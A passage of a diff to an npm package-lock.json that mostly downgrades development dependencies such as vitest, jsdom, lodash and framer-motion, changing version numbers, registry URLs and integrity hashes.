-      "integrity": "sha512-VFlhGSl4opC0bprJiItPQ1RfUhGDIBokcPwaFH4yiBCaNPeld/9VeXbiPO1cLyorQi1G1vL+ecBk1x8o1axORA==",
+      "version": "8.52.0",
+      "resolved": "https://registry.npmjs.org/@typescript-eslint/visitor-keys/-/visitor-keys-8.52.0.tgz",
+      "integrity": "sha512-ink3/Zofus34nmBsPjow63FP5M7IGff0RKAgqR6+CFpdk22M7aLwC9gOcLGYqr7MczLPzZVERW9hRog3O4n1sQ==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@typescript-eslint/types": "8.54.0",
+        "@typescript-eslint/types": "8.52.0",
         "eslint-visitor-keys": "^4.2.1"
       },
       "engines": {
@@ -9917,9 +9448,9 @@
       "integrity": "sha512-zuVdFrMJiuCDQUMCzQaD6KL28MjnqqN8XnAqiEq9PNm/hCPTSGfrXCOfwj1ow4LFb/tNymJPwsNbVePc1xFqrQ=="
     },
     "node_modules/@vitejs/plugin-basic-ssl": {
-      "version": "2.1.4",
-      "resolved": "https://registry.npmjs.org/@vitejs/plugin-basic-ssl/-/plugin-basic-ssl-2.1.4.tgz",
-      "integrity": "sha512-HXciTXN/sDBYWgeAD4V4s0DN0g72x5mlxQhHxtYu3Tt8BLa6MzcJZUyDVFCdtjNs3bfENVHVzOsmooTVuNgAAw==",
+      "version": "2.1.3",
+      "resolved": "https://registry.npmjs.org/@vitejs/plugin-basic-ssl/-/plugin-basic-ssl-2.1.3.tgz",
+      "integrity": "sha512-mxZpCH6SjsAFkiVgaclJGTcYIHm2qxw4x2EP/AUlEVqHhk8ojU75thpvTalc5lAvIK3sJjpVxhzYNoLXOuJGKw==",
       "dev": true,
       "license": "MIT",
       "engines": {
@@ -9930,16 +9461,16 @@
       }
     },
     "node_modules/@vitejs/plugin-react": {
-      "version": "5.1.3",
-      "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-5.1.3.tgz",
-      "integrity": "sha512-NVUnA6gQCl8jfoYqKqQU5Clv0aPw14KkZYCsX6T9Lfu9slI0LOU10OTwFHS/WmptsMMpshNd/1tuWsHQ2Uk+cg==",
+      "version": "5.1.2",
+      "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-5.1.2.tgz",
+      "integrity": "sha512-EcA07pHJouywpzsoTUqNh5NwGayl2PPVEJKUSinGGSxFGYn+shYbqMGBg6FXDqgXum9Ou/ecb+411ssw8HImJQ==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@babel/core": "^7.29.0",
+        "@babel/core": "^7.28.5",
         "@babel/plugin-transform-react-jsx-self": "^7.27.1",
         "@babel/plugin-transform-react-jsx-source": "^7.27.1",
-        "@rolldown/pluginutils": "1.0.0-rc.2",
+        "@rolldown/pluginutils": "1.0.0-beta.53",
         "@types/babel__core": "^7.20.5",
         "react-refresh": "^0.18.0"
       },
@@ -9951,17 +9482,18 @@
       }
     },
     "node_modules/@vitest/coverage-v8": {
-      "version": "4.0.18",
-      "resolved": "https://registry.npmjs.org/@vitest/coverage-v8/-/coverage-v8-4.0.18.tgz",
-      "integrity": "sha512-7i+N2i0+ME+2JFZhfuz7Tg/FqKtilHjGyGvoHYQ6iLV0zahbsJ9sljC9OcFcPDbhYKCet+sG8SsVqlyGvPflZg==",
+      "version": "4.0.16",
+      "resolved": "https://registry.npmjs.org/@vitest/coverage-v8/-/coverage-v8-4.0.16.tgz",
+      "integrity": "sha512-2rNdjEIsPRzsdu6/9Eq0AYAzYdpP6Bx9cje9tL3FE5XzXRQF1fNU9pe/1yE8fCrS0HD+fBtt6gLPh6LI57tX7A==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
         "@bcoe/v8-coverage": "^1.0.2",
-        "@vitest/utils": "4.0.18",
-        "ast-v8-to-istanbul": "^0.3.10",
+        "@vitest/utils": "4.0.16",
+        "ast-v8-to-istanbul": "^0.3.8",
         "istanbul-lib-coverage": "^3.2.2",
         "istanbul-lib-report": "^3.0.1",
+        "istanbul-lib-source-maps": "^5.0.6",
         "istanbul-reports": "^3.2.0",
         "magicast": "^0.5.1",
         "obug": "^2.1.1",
@@ -9972,8 +9504,8 @@
         "url": "https://opencollective.com/vitest"
       },
       "peerDependencies": {
-        "@vitest/browser": "4.0.18",
-        "vitest": "4.0.18"
+        "@vitest/browser": "4.0.16",
+        "vitest": "4.0.16"
       },
       "peerDependenciesMeta": {
         "@vitest/browser": {
@@ -9982,16 +9514,16 @@
       }
     },
     "node_modules/@vitest/expect": {
-      "version": "4.0.18",
-      "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.0.18.tgz",
-      "integrity": "sha512-8sCWUyckXXYvx4opfzVY03EOiYVxyNrHS5QxX3DAIi5dpJAAkyJezHCP77VMX4HKA2LDT/Jpfo8i2r5BE3GnQQ==",
+      "version": "4.0.16",
+      "resolved": "https://registry.npmjs.org/@vitest/expect/-/expect-4.0.16.tgz",
+      "integrity": "sha512-eshqULT2It7McaJkQGLkPjPjNph+uevROGuIMJdG3V+0BSR2w9u6J9Lwu+E8cK5TETlfou8GRijhafIMhXsimA==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
         "@standard-schema/spec": "^1.0.0",
         "@types/chai": "^5.2.2",
-        "@vitest/spy": "4.0.18",
-        "@vitest/utils": "4.0.18",
+        "@vitest/spy": "4.0.16",
+        "@vitest/utils": "4.0.16",
         "chai": "^6.2.1",
         "tinyrainbow": "^3.0.3"
       },
@@ -10000,9 +9532,9 @@
       }
     },
     "node_modules/@vitest/expect/node_modules/@vitest/spy": {
-      "version": "4.0.18",
-      "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.0.18.tgz",
-      "integrity": "sha512-cbQt3PTSD7P2OARdVW3qWER5EGq7PHlvE+QfzSC0lbwO+xnt7+XH06ZzFjFRgzUX//JmpxrCu92VdwvEPlWSNw==",
+      "version": "4.0.16",
+      "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.0.16.tgz",
+      "integrity": "sha512-4jIOWjKP0ZUaEmJm00E0cOBLU+5WE0BpeNr3XN6TEF05ltro6NJqHWxXD0kA8/Zc8Nh23AT8WQxwNG+WeROupw==",
       "dev": true,
       "license": "MIT",
       "funding": {
@@ -10010,9 +9542,9 @@
       }
     },
     "node_modules/@vitest/expect/node_modules/chai": {
-      "version": "6.2.2",
-      "resolved": "https://registry.npmjs.org/chai/-/chai-6.2.2.tgz",
-      "integrity": "sha512-NUPRluOfOiTKBKvWPtSD4PhFvWCqOi0BGStNWs57X9js7XGTprSmFoz5F0tWhR4WPjNeR9jXqdC7/UpSJTnlRg==",
+      "version": "6.2.1",
+      "resolved": "https://registry.npmjs.org/chai/-/chai-6.2.1.tgz",
+      "integrity": "sha512-p4Z49OGG5W/WBCPSS/dH3jQ73kD6tiMmUM+bckNK6Jr5JHMG3k9bg/BvKR8lKmtVBKmOiuVaV2ws8s9oSbwysg==",
       "dev": true,
       "license": "MIT",
       "engines": {
@@ -10020,22 +9552,22 @@
       }
     },
     "node_modules/@vitest/mocker": {
-      "version": "4.0.18",
-      "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-4.0.18.tgz",
-      "integrity": "sha512-HhVd0MDnzzsgevnOWCBj5Otnzobjy5wLBe4EdeeFGv8luMsGcYqDuFRMcttKWZA5vVO8RFjexVovXvAM4JoJDQ==",
+      "version": "3.2.4",
+      "resolved": "https://registry.npmjs.org/@vitest/mocker/-/mocker-3.2.4.tgz",
+      "integrity": "sha512-46ryTE9RZO/rfDd7pEqFl7etuyzekzEhUbTW3BvmeO/BcCMEgq59BKhek3dXDWgAj4oMK6OZi+vRr1wPW6qjEQ==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@vitest/spy": "4.0.18",
+        "@vitest/spy": "3.2.4",
         "estree-walker": "^3.0.3",
-        "magic-string": "^0.30.21"
+        "magic-string": "^0.30.17"
       },
       "funding": {
         "url": "https://opencollective.com/vitest"
       },
       "peerDependencies": {
         "msw": "^2.4.9",
-        "vite": "^6.0.0 || ^7.0.0-0"
+        "vite": "^5.0.0 || ^6.0.0 || ^7.0.0-0"
       },
       "peerDependenciesMeta": {
         "msw": {
@@ -10046,16 +9578,6 @@
         }
       }
     },
-    "node_modules/@vitest/mocker/node_modules/@vitest/spy": {
-      "version": "4.0.18",
-      "resolved": "https://registry.npmjs.org/@vitest/spy/-/spy-4.0.18.tgz",
-      "integrity": "sha512-cbQt3PTSD7P2OARdVW3qWER5EGq7PHlvE+QfzSC0lbwO+xnt7+XH06ZzFjFRgzUX//JmpxrCu92VdwvEPlWSNw==",
-      "dev": true,
-      "license": "MIT",
-      "funding": {
-        "url": "https://opencollective.com/vitest"
-      }
-    },
     "node_modules/@vitest/mocker/node_modules/estree-walker": {
       "version": "3.0.3",
       "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz",
@@ -10067,9 +9589,9 @@
       }
     },
     "node_modules/@vitest/pretty-format": {
-      "version": "4.0.18",
-      "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.0.18.tgz",
-      "integrity": "sha512-P24GK3GulZWC5tz87ux0m8OADrQIUVDPIjjj65vBXYG17ZeU3qD7r+MNZ1RNv4l8CGU2vtTRqixrOi9fYk/yKw==",
+      "version": "4.0.16",
+      "resolved": "https://registry.npmjs.org/@vitest/pretty-format/-/pretty-format-4.0.16.tgz",
+      "integrity": "sha512-eNCYNsSty9xJKi/UdVD8Ou16alu7AYiS2fCPRs0b1OdhJiV89buAXQLpTbe+X8V9L6qrs9CqyvU7OaAopJYPsA==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
@@ -10080,13 +9602,13 @@
       }
     },
     "node_modules/@vitest/runner": {
-      "version": "4.0.18",
-      "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.0.18.tgz",
-      "integrity": "sha512-rpk9y12PGa22Jg6g5M3UVVnTS7+zycIGk9ZNGN+m6tZHKQb7jrP7/77WfZy13Y/EUDd52NDsLRQhYKtv7XfPQw==",
+      "version": "4.0.16",
+      "resolved": "https://registry.npmjs.org/@vitest/runner/-/runner-4.0.16.tgz",
+      "integrity": "sha512-VWEDm5Wv9xEo80ctjORcTQRJ539EGPB3Pb9ApvVRAY1U/WkHXmmYISqU5E79uCwcW7xYUV38gwZD+RV755fu3Q==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@vitest/utils": "4.0.18",
+        "@vitest/utils": "4.0.16",
         "pathe": "^2.0.3"
       },
       "funding": {
@@ -10094,13 +9616,13 @@
       }
     },
     "node_modules/@vitest/snapshot": {
-      "version": "4.0.18",
-      "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.0.18.tgz",
-      "integrity": "sha512-PCiV0rcl7jKQjbgYqjtakly6T1uwv/5BQ9SwBLekVg/EaYeQFPiXcgrC2Y7vDMA8dM1SUEAEV82kgSQIlXNMvA==",
+      "version": "4.0.16",
+      "resolved": "https://registry.npmjs.org/@vitest/snapshot/-/snapshot-4.0.16.tgz",
+      "integrity": "sha512-sf6NcrYhYBsSYefxnry+DR8n3UV4xWZwWxYbCJUt2YdvtqzSPR7VfGrY0zsv090DAbjFZsi7ZaMi1KnSRyK1XA==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@vitest/pretty-format": "4.0.18",
+        "@vitest/pretty-format": "4.0.16",
         "magic-string": "^0.30.21",
         "pathe": "^2.0.3"
       },
@@ -10122,13 +9644,13 @@
       }
     },
     "node_modules/@vitest/utils": {
-      "version": "4.0.18",
-      "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.0.18.tgz",
-      "integrity": "sha512-msMRKLMVLWygpK3u2Hybgi4MNjcYJvwTb0Ru09+fOyCXIgT5raYP041DRRdiJiI3k/2U6SEbAETB3YtBrUkCFA==",
+      "version": "4.0.16",
+      "resolved": "https://registry.npmjs.org/@vitest/utils/-/utils-4.0.16.tgz",
+      "integrity": "sha512-h8z9yYhV3e1LEfaQ3zdypIrnAg/9hguReGZoS7Gl0aBG5xgA410zBqECqmaF/+RkTggRsfnzc1XaAHA6bmUufA==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@vitest/pretty-format": "4.0.18",
+        "@vitest/pretty-format": "4.0.16",
         "tinyrainbow": "^3.0.3"
       },
       "funding": {
@@ -10542,22 +10064,22 @@
       }
     },
     "node_modules/assistant-cloud": {
-      "version": "0.1.17",
-      "resolved": "https://registry.npmjs.org/assistant-cloud/-/assistant-cloud-0.1.17.tgz",
-      "integrity": "sha512-CUMr9MWuikURcYFHcMO7avyfe+lkMucM/W795AEre24/+eKutQklOOJj0YiLoUkm+0p3cmlX7tiN2bFACNaQXw==",
+      "version": "0.1.12",
+      "resolved": "https://registry.npmjs.org/assistant-cloud/-/assistant-cloud-0.1.12.tgz",
+      "integrity": "sha512-A2tY6QIdP9+RkE8Mmpm4kAoO0NyKsKpJKYebbYFZ3bAnQKyB15Bw/PS9AovpdeziGU9At97TyiMrT36pDjCD7A==",
       "license": "MIT",
       "dependencies": {
-        "assistant-stream": "^0.3.2"
+        "assistant-stream": "^0.2.46"
       }
     },
     "node_modules/assistant-stream": {
-      "version": "0.3.2",
-      "resolved": "https://registry.npmjs.org/assistant-stream/-/assistant-stream-0.3.2.tgz",
-      "integrity": "sha512-BVpG6pSORumrEC6zX96KyTyw8RXFTbYElujgGST+SQuCZFgAJnTnBkuru2WyFkQglF/1hl8xXsvlU3hvpHcUsQ==",
+      "version": "0.2.46",
+      "resolved": "https://registry.npmjs.org/assistant-stream/-/assistant-stream-0.2.46.tgz",
+      "integrity": "sha512-smcC4sqOcTrUO01YpiHPgdG3Wc57kmQlCIEdMXSNuWMgcDvo60hnRY3rPDhZQBJHZOXQ9Q1wLR8ugKDjxi72GQ==",
       "license": "MIT",
       "dependencies": {
         "@standard-schema/spec": "^1.1.0",
-        "nanoid": "^5.1.6",
+        "nanoid": "5.1.6",
         "secure-json-parse": "^4.1.0"
       }
     },
@@ -10575,9 +10097,9 @@
       }
     },
     "node_modules/ast-v8-to-istanbul": {
-      "version": "0.3.10",
-      "resolved": "https://registry.npmjs.org/ast-v8-to-istanbul/-/ast-v8-to-istanbul-0.3.10.tgz",
-      "integrity": "sha512-p4K7vMz2ZSk3wN8l5o3y2bJAoZXT3VuJI5OLTATY/01CYWumWvwkUw0SqDBnNq6IiTO3qDa1eSQDibAV8g7XOQ==",
+      "version": "0.3.8",
+      "resolved": "https://registry.npmjs.org/ast-v8-to-istanbul/-/ast-v8-to-istanbul-0.3.8.tgz",
+      "integrity": "sha512-szgSZqUxI5T8mLKvS7WTjF9is+MVbOeLADU73IseOcrqhxr/VAvy6wfoVE39KnKzA7JRhjF5eUagNlHwvZPlKQ==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
@@ -10617,9 +10139,9 @@
       }
     },
     "node_modules/autoprefixer": {
-      "version": "10.4.24",
-      "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.24.tgz",
-      "integrity": "sha512-uHZg7N9ULTVbutaIsDRoUkoS8/h3bdsmVJYZ5l3wv8Cp/6UIIoRDm90hZ+BwxUj/hGBEzLxdHNSKuFpn8WOyZw==",
+      "version": "10.4.23",
+      "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.23.tgz",
+      "integrity": "sha512-YYTXSFulfwytnjAPlw8QHncHJmlvFKtczb8InXaAx9Q0LbfDnfEYDE55omerIJKihhmU61Ft+cAOSzQVaBUmeA==",
       "dev": true,
       "funding": [
         {
@@ -10638,7 +10160,7 @@
       "license": "MIT",
       "dependencies": {
         "browserslist": "^4.28.1",
-        "caniuse-lite": "^1.0.30001766",
+        "caniuse-lite": "^1.0.30001760",
         "fraction.js": "^5.3.4",
         "picocolors": "^1.1.1",
         "postcss-value-parser": "^4.2.0"
@@ -11021,9 +10543,9 @@
       }
     },
     "node_modules/caniuse-lite": {
-      "version": "1.0.30001768",
-      "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001768.tgz",
-      "integrity": "sha512-qY3aDRZC5nWPgHUgIB84WL+nySuo19wk0VJpp/XI9T34lrvkyhRvNVOFJOp2kxClQhiFBu+TaUSudf6oa3vkSA==",
+      "version": "1.0.30001760",
+      "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001760.tgz",
+      "integrity": "sha512-7AAMPcueWELt1p3mi13HR/LHH0TJLT11cnwDJEs3xA4+CK/PLKeO9Kl1oru24htkyUKtkGCvAx4ohB0Ttry8Dw==",
       "funding": [
         {
           "type": "opencollective",
@@ -11686,31 +11208,20 @@
       }
     },
     "node_modules/cssstyle": {
-      "version": "5.3.7",
-      "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-5.3.7.tgz",
-      "integrity": "sha512-7D2EPVltRrsTkhpQmksIu+LxeWAIEk6wRDMJ1qljlv+CKHJM+cJLlfhWIzNA44eAsHXSNe3+vO6DW1yCYx8SuQ==",
+      "version": "5.3.4",
+      "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-5.3.4.tgz",
+      "integrity": "sha512-KyOS/kJMEq5O9GdPnaf82noigg5X5DYn0kZPJTaAsCUaBizp6Xa1y9D4Qoqf/JazEXWuruErHgVXwjN5391ZJw==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@asamuzakjp/css-color": "^4.1.1",
-        "@csstools/css-syntax-patches-for-csstree": "^1.0.21",
-        "css-tree": "^3.1.0",
-        "lru-cache": "^11.2.4"
+        "@asamuzakjp/css-color": "^4.1.0",
+        "@csstools/css-syntax-patches-for-csstree": "1.0.14",
+        "css-tree": "^3.1.0"
       },
       "engines": {
         "node": ">=20"
       }
     },
-    "node_modules/cssstyle/node_modules/lru-cache": {
-      "version": "11.2.5",
-      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-11.2.5.tgz",
-      "integrity": "sha512-vFrFJkWtJvJnD5hg+hJvVE8Lh/TcMzKnTgCWmtBipwI5yLX/iX+5UB2tfuyODF5E7k9xEzMdYgGqaSb1c0c5Yw==",
-      "dev": true,
-      "license": "BlueOak-1.0.0",
-      "engines": {
-        "node": "20 || >=22"
-      }
-    },
     "node_modules/csstype": {
       "version": "3.1.1",
       "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.1.1.tgz",
@@ -11839,25 +11350,15 @@
       }
     },
     "node_modules/data-urls": {
-      "version": "7.0.0",
-      "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-7.0.0.tgz",
-      "integrity": "sha512-23XHcCF+coGYevirZceTVD7NdJOqVn+49IHyxgszm+JIiHLoB2TkmPtsYkNWT1pvRSGkc35L6NHs0yHkN2SumA==",
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-6.0.0.tgz",
+      "integrity": "sha512-BnBS08aLUM+DKamupXs3w2tJJoqU+AkaE/+6vQxi/G/DPmIZFJJp9Dkb1kM03AZx8ADehDUZgsNxju3mPXZYIA==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "whatwg-mimetype": "^5.0.0",
-        "whatwg-url": "^16.0.0"
+        "whatwg-mimetype": "^4.0.0",
+        "whatwg-url": "^15.0.0"
       },
-      "engines": {
-        "node": "^20.19.0 || ^22.12.0 || >=24.0.0"
-      }
-    },
-    "node_modules/data-urls/node_modules/whatwg-mimetype": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-5.0.0.tgz",
-      "integrity": "sha512-sXcNcHOC51uPGF0P/D4NVtrkjSU2fNsm9iog4ZvZJsL3rjoDAzXZhkm2MWt1y+PUdggKAYVoMAIYcs78wJ51Cw==",
-      "dev": true,
-      "license": "MIT",
       "engines": {
         "node": ">=20"
       }
@@ -12167,9 +11668,9 @@
       "dev": true
     },
     "node_modules/diff": {
-      "version": "5.2.2",
-      "resolved": "https://registry.npmjs.org/diff/-/diff-5.2.2.tgz",
-      "integrity": "sha512-vtcDfH3TOjP8UekytvnHH1o1P4FcUdt4eQ1Y+Abap1tk/OB2MWQvcwS2ClCd1zuIhc3JKOx6p3kod8Vfys3E+A==",
+      "version": "5.2.0",
+      "resolved": "https://registry.npmjs.org/diff/-/diff-5.2.0.tgz",
+      "integrity": "sha512-uIFDxqpRZGZ6ThOk84hEfqWoHx2devRFvpTZcTHur85vImfaxUbTW9Ryh4CpCuDnToOP1CEtXKIgytHBPVff5A==",
       "dev": true,
       "license": "BSD-3-Clause",
       "engines": {
@@ -13125,14 +12626,14 @@
       }
     },
     "node_modules/eslint-plugin-prettier": {
-      "version": "5.5.5",
-      "resolved": "https://registry.npmjs.org/eslint-plugin-prettier/-/eslint-plugin-prettier-5.5.5.tgz",
-      "integrity": "sha512-hscXkbqUZ2sPithAuLm5MXL+Wph+U7wHngPBv9OMWwlP8iaflyxpjTYZkmdgB4/vPIhemRlBEoLrH7UC1n7aUw==",
+      "version": "5.5.4",
+      "resolved": "https://registry.npmjs.org/eslint-plugin-prettier/-/eslint-plugin-prettier-5.5.4.tgz",
+      "integrity": "sha512-swNtI95SToIz05YINMA6Ox5R057IMAmWZ26GqPxusAp1TZzj+IdY9tXNWWD3vkF/wEqydCONcwjTFpxybBqZsg==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "prettier-linter-helpers": "^1.0.1",
-        "synckit": "^0.11.12"
+        "prettier-linter-helpers": "^1.0.0",
+        "synckit": "^0.11.7"
       },
       "engines": {
         "node": "^14.18.0 || >=16.0.0"
@@ -13253,17 +12754,17 @@
       }
     },
     "node_modules/eslint-plugin-storybook": {
-      "version": "10.2.7",
-      "resolved": "https://registry.npmjs.org/eslint-plugin-storybook/-/eslint-plugin-storybook-10.2.7.tgz",
-      "integrity": "sha512-111gI3lUuan/zfDZ79isC4YZ75A9Ro7knqa2lNHv9PQRBWGKe6gvH2gDCYMioqT8aZo7UTzXfsyW7HHlEWxpQA==",
+      "version": "10.1.11",
+      "resolved": "https://registry.npmjs.org/eslint-plugin-storybook/-/eslint-plugin-storybook-10.1.11.tgz",
+      "integrity": "sha512-mbq2r2kK5+AcLl0XDJ3to91JOgzCbHOqj+J3n+FRw6drk+M1boRqMShSoMMm0HdzXPLmlr7iur+qJ5ZuhH6ayQ==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@typescript-eslint/utils": "^8.48.0"
+        "@typescript-eslint/utils": "^8.8.1"
       },
       "peerDependencies": {
         "eslint": ">=8",
-        "storybook": "^10.2.7"
+        "storybook": "^10.1.11"
       }
     },
     "node_modules/eslint-plugin-tailwindcss": {
@@ -13471,8 +12972,7 @@
       "version": "1.3.0",
       "resolved": "https://registry.npmjs.org/fast-diff/-/fast-diff-1.3.0.tgz",
       "integrity": "sha512-VxPP4NqbUjj6MaAOafWeUn2cXWLcCtljklUtZf0Ind4XQ+QPtmA0b18zZy0jIQx+ExRVCR/ZQpBmik5lXshNsw==",
-      "dev": true,
-      "license": "Apache-2.0"
+      "dev": true
     },
     "node_modules/fast-equals": {
       "version": "5.4.0",
@@ -13803,13 +13303,13 @@
       }
     },
     "node_modules/framer-motion": {
-      "version": "12.33.0",
-      "resolved": "https://registry.npmjs.org/framer-motion/-/framer-motion-12.33.0.tgz",
-      "integrity": "sha512-ca8d+rRPcDP5iIF+MoT3WNc0KHJMjIyFAbtVLvM9eA7joGSpeqDfiNH/kCs1t4CHi04njYvWyj0jS4QlEK/rJQ==",
+      "version": "12.25.0",
+      "resolved": "https://registry.npmjs.org/framer-motion/-/framer-motion-12.25.0.tgz",
+      "integrity": "sha512-mlWqd0rApIjeyhTCSNCqPYsUAEhkcUukZxH3ke6KbstBRPcxhEpuIjmiUQvB+1E9xkEm5SpNHBgHCapH/QHTWg==",
       "license": "MIT",
       "dependencies": {
-        "motion-dom": "^12.33.0",
-        "motion-utils": "^12.29.2",
+        "motion-dom": "^12.24.11",
+        "motion-utils": "^12.24.10",
         "tslib": "^2.4.0"
       },
       "peerDependencies": {
@@ -14029,9 +13529,9 @@
       }
     },
     "node_modules/globals": {
-      "version": "17.3.0",
-      "resolved": "https://registry.npmjs.org/globals/-/globals-17.3.0.tgz",
-      "integrity": "sha512-yMqGUQVVCkD4tqjOJf3TnrvaaHDMYp4VlUSObbkIiuCPe/ofdMBFIAcBbCSRFWOnos6qRiTVStDwqPLUclaxIw==",
+      "version": "17.0.0",
+      "resolved": "https://registry.npmjs.org/globals/-/globals-17.0.0.tgz",
+      "integrity": "sha512-gv5BeD2EssA793rlFWVPMMCqefTlpusw6/2TbAVMy0FzcG8wKJn4O+NqJ4+XWmmwrayJgw5TzrmWjFgmz1XPqw==",
       "dev": true,
       "license": "MIT",
       "engines": {
@@ -15444,6 +14944,20 @@
         "node": ">=10"
       }
     },
+    "node_modules/istanbul-lib-source-maps": {
+      "version": "5.0.6",
+      "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-5.0.6.tgz",
+      "integrity": "sha512-yg2d+Em4KizZC5niWhQaIomgf5WlL4vOOjZ5xGCmF8SnPE/mDWWXgvRExdcpCgh9lLRRa1/fSYp2ymmbJ1pI+A==",
+      "dev": true,
+      "dependencies": {
+        "@jridgewell/trace-mapping": "^0.3.23",
+        "debug": "^4.1.1",
+        "istanbul-lib-coverage": "^3.0.0"
+      },
+      "engines": {
+        "node": ">=10"
+      }
+    },
     "node_modules/istanbul-reports": {
       "version": "3.2.0",
       "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.2.0.tgz",
@@ -15654,17 +15168,17 @@
       }
     },
     "node_modules/jsdom": {
-      "version": "28.0.0",
-      "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-28.0.0.tgz",
-      "integrity": "sha512-KDYJgZ6T2TKdU8yBfYueq5EPG/EylMsBvCaenWMJb2OXmjgczzwveRCoJ+Hgj1lXPDyasvrgneSn4GBuR1hYyA==",
+      "version": "27.4.0",
+      "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-27.4.0.tgz",
+      "integrity": "sha512-mjzqwWRD9Y1J1KUi7W97Gja1bwOOM5Ug0EZ6UDK3xS7j7mndrkwozHtSblfomlzyB4NepioNt+B2sOSzczVgtQ==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@acemir/cssom": "^0.9.31",
+        "@acemir/cssom": "^0.9.28",
         "@asamuzakjp/dom-selector": "^6.7.6",
-        "@exodus/bytes": "^1.11.0",
-        "cssstyle": "^5.3.7",
-        "data-urls": "^7.0.0",
+        "@exodus/bytes": "^1.6.0",
+        "cssstyle": "^5.3.4",
+        "data-urls": "^6.0.0",
         "decimal.js": "^10.6.0",
         "html-encoding-sniffer": "^6.0.0",
         "http-proxy-agent": "^7.0.2",
@@ -15674,11 +15188,11 @@
         "saxes": "^6.0.0",
         "symbol-tree": "^3.2.4",
         "tough-cookie": "^6.0.0",
-        "undici": "^7.20.0",
         "w3c-xmlserializer": "^5.0.0",
-        "webidl-conversions": "^8.0.1",
-        "whatwg-mimetype": "^5.0.0",
-        "whatwg-url": "^16.0.0",
+        "webidl-conversions": "^8.0.0",
+        "whatwg-mimetype": "^4.0.0",
+        "whatwg-url": "^15.1.0",
+        "ws": "^8.18.3",
         "xml-name-validator": "^5.0.0"
       },
       "engines": {
@@ -15693,16 +15207,6 @@
         }
       }
     },
-    "node_modules/jsdom/node_modules/whatwg-mimetype": {
-      "version": "5.0.0",
-      "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-5.0.0.tgz",
-      "integrity": "sha512-sXcNcHOC51uPGF0P/D4NVtrkjSU2fNsm9iog4ZvZJsL3rjoDAzXZhkm2MWt1y+PUdggKAYVoMAIYcs78wJ51Cw==",
-      "dev": true,
-      "license": "MIT",
-      "engines": {
-        "node": ">=20"
-      }
-    },
     "node_modules/jsesc": {
       "version": "3.0.2",
       "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.0.2.tgz",
@@ -16025,11 +15529,10 @@
       }
     },
     "node_modules/lodash": {
-      "version": "4.17.23",
-      "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.23.tgz",
-      "integrity": "sha512-LgVTMpQtIopCi79SJeDiP0TfWi5CNEc/L/aRdTh3yIvmZXTnheWpKjSZhnvMl8iXbC1tFg9gdHHDMLoV7CnG+w==",
-      "dev": true,
-      "license": "MIT"
+      "version": "4.17.21",
+      "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz",
+      "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==",
+      "dev": true
     },
     "node_modules/lodash.curry": {
       "version": "4.1.1",
@@ -16176,12 +15679,6 @@
         "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
       }
     },
-    "node_modules/long": {
-      "version": "5.3.2",
-      "resolved": "https://registry.npmjs.org/long/-/long-5.3.2.tgz",
-      "integrity": "sha512-mNAgZ1GmyNhD7AuqnTG3/VQ26o760+ZYBPKjPvugO8+nLbYfX6TVpJPseBvopbdY+qpZ/lKUnmEc1LeZYS3QAA==",
-      "license": "Apache-2.0"
-    },
     "node_modules/longest-streak": {
       "version": "3.1.0",
       "resolved": "https://registry.npmjs.org/longest-streak/-/longest-streak-3.1.0.tgz",
@@ -16238,9 +15735,9 @@
       }
     },
     "node_modules/lucide-react": {
-      "version": "0.563.0",
-      "resolved": "https://registry.npmjs.org/lucide-react/-/lucide-react-0.563.0.tgz",
